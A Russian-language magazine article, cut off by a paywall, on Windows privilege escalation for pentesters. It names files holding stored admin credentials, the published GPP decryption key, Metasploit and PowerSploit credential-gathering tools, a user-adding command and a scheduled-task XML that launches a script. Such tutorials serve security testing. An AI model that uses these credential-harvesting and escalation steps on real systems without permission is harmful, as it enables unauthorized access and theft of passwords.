Одна из наиболее частых рекомендаций по безопасности — это запускать приложения и сервисы под урезанной учеткой. Полностью проблемы безопасности это не решает, но жизнь атакующему осложнить может. Таким образом, что бы ты ни ломал/пентестил: домен Active Directory, машину, на которой хостится сайт, — перед тобой почти обязательно встанет задача поднятия своих привилегий. От ее решения будет зависеть, сможешь ли ты продвинуться дальше или нет. Сегодня мы постараемся рассмотреть всё (ну или почти всё), что касается продвижения вверх в Windows-системах.

WARNING

Вся информация носит только ознакомительный характер. Ни автор, ни редакция не несут ответственности за ее ненадлежащее использование.

 

Flashback

Тема повышения привилегий далеко не нова, но тем не менее всегда актуальна. Несколько лет назад мы уже говорили о ней на страницах журнала. Какой-то революции в этой области с того времени не произошло, но некоторые новые техники и инструменты все же появились. Поэтому будем держать руку на пульсе и все подробно разберем. Где-то немного что-то повторим, но, как говорится, повторение — мать учения.

 

1. Сохраненные credentials

Пожалуй, самый легкий способ поднять привилегии, к которому стоит прибегнуть в первую очередь, — это поискать в системе сохраненные учетные данные админского аккаунта. Самое простое — это файлы, оставшиеся после автоматической установки (unattended installation). Общеизвестно, что человек — существо ленивое, поэтому системные администраторы будут пытаться автоматизировать установку софта, и тогда в системе можно обнаружить файлы:

C:\\unattend.xml
C:\\Windows\\Panther\\Unattend.xml
C:\\Windows\\Panther\\Unattend\\Unattend.xml
C:\\Windows\\system32\\sysprep.inf
C:\\Windows\\system32\\sysprep\\sysprep.xml

В них в открытом виде или закодированные в Base64 будут лежать пароли администратора. Кстати, в Metasploit есть модуль, позволяющий автоматизировать поиск, — post/windows/gather/enum_unattend.

Если на машине установлен IIS, то нелишним будет проверить файлы

C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config
C:\\inetpub\\wwwroot\\web.config

в которых также может присутствовать пароль администратора в plaintext.

 

2. Group Policy Preferences

Еще есть вариант с настройками групповой политики безопасности. Файл Groups.xml, содержащий пароль, обычно закеширован локально, или он легко может быть получен с контроллера домена, так как каждый пользователь домена имеет к нему доступ на чтение. Пароль хранится в зашифрованном виде, но Microsoft опубликовала ключ, поэтому он может быть легко расшифрован. В случае локальной машины проверяем наличие файла по следующему пути:

C:\\ProgramData\\Microsoft\\Group Policy\\History\\*\\Machine\\Preferences\\Groups\\Groups.xml

Для контроллера домена:

\\\\????\\SYSVOL\\\\Policies\\????\\MACHINE\\Preferences\\Groups\\Groups.xml

В последнем случае вместо ???? указываем имя домена. Для тех, кому интересно, 32-битный AES-ключ выглядит следующим образом:

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Но чтобы самостоятельно не заморачиваться с расшифровкой пароля, можно воспользоваться модулем Metasploit post/windows/gather/credentials/gpp. Или же PowerSploit:

Get-CachedGPPPassword // Для локальных файлов групповой политики
Get-GPPPassword // Для файлов групповой политики, сохраненных на котроллере домена 

Подробнее о том, как вытаскивать пароли из групповой политики, можно посмотреть тут и тут.

 

3. Taskschd.msc

Во времена Windows XP был интересный прием поднять привилегии до системных. Проворачивался он просто:

at 14:50 /interactive command

Правда, для запуска утилиты at требовались административные привилегии, поэтому можно было повыситься только от администратора до NT-AUTHORITY\\SYSTEM. Но оказывается, что времена планировщика задач еще далеко не прошли. Если выполнить в консоли команду net user, то можно увидеть список локальных пользователей. С помощью данной команды можно также добавить локального пользователя (если есть соответствующие привилегии):

net user USERNAME PASSWORD /add

Однако если выполнить команду от имени обычного пользователя, то получим в ответ системную ошибку 5, или, проще говоря, «доступ запрещен». В такой ситуации нам поможет возможность импортировать таски в планировщик задач. Каждую задачу можно описать в виде XML-файла (подробнее о его формате можно почитать на сайте мелкомягких). Готовый файл будет выглядеть следующим образом:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>1337-01-01T13:37:07.9601296</Date>
    <Author>NT AUTHORITY\\SYSTEM</Author>
  </RegistrationInfo>
  <Triggers />
  <Principals>
    <Principal id="Author">
      <UserId>PCNAME\\USERNAME</UserId>
      <LogonType>S4U</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
    <RestartOnFailure>
      <Interval>PT1M</Interval>
      <Count>3</Count>
    </RestartOnFailure>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%USERPROFILE%\\Desktop\\EXPLOIT.JS</Command>
    </Exec>
  </Actions>
</Task>  

Подробнее о каждом из параметров можно будет почитать тут. Для нас наибольший интерес представляют <RegistrationInfo><Author> — тот, от имени кого будет зарегистрировано задание, а также <Principals><Principal><UserId> — от имени кого оно будет запущено. Здесь мы указываем нашего непривилегированного пользователя. Ну и самое интересное — <Actions><Exec>, который определяет, что будет запущено. В данном случае это JS-скрипт EXPLOIT.JS, лежащий на рабочем столе пользователя. Содержание этого скрипта ограничивается только твоей фантазией. Самый банальный пример — добавление нового пользователя:

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Подписаться
Уведомить о
12 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии